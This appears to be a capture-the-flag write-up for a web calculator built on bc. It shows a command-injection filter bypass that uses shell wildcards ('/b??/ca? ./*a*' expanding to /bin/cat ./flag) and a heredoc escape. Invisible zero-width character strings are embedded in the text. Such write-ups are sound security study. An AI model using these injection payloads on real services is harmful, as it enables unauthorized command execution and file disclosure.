BC

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: command_injection_filter_bypass, heredoc_escape, shell_wildcard_expansion

Summary

Walkthrough of the CUSTOM Web BC. "Can you pwn a calculator?" — a calculator service using the bc command.

Description

"Can you pwn a calculator?" — a calculator service using the bc command.

URL: https://hy17-bc.spb.ctf.su/

Analysis

The web calculator uses the bc utility for computations. User input is passed to the command line, but there's a filter blocking letters g-w and y-z. However, other characters are allowed, including shell special characters.

Key observation: shell wildcards (?, *) are not filtered and can be used to bypass restrictions.

Solution

1. Identified that the filter blocks letters g-w and y-z

2. Used shell wildcards to form commands:

   • /b??/ca? expands to /bin/cat
   • ./*a* matches the flag file ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

3. Applied heredoc escape technique to break out of the bc command context

Payload:

 bash read-only • copy allowed Copy
/b??/ca? ./*a*

This expands by the shell to:

 bash read-only • copy allowed Copy
/bin/cat ./flag

Alternative approach with heredoc:

1+1
EOF
/b??/ca? *

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering command_injection_filter_bypass, heredoc_escape, shell_wildcard_expansion was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • BC • Difficulty: Medium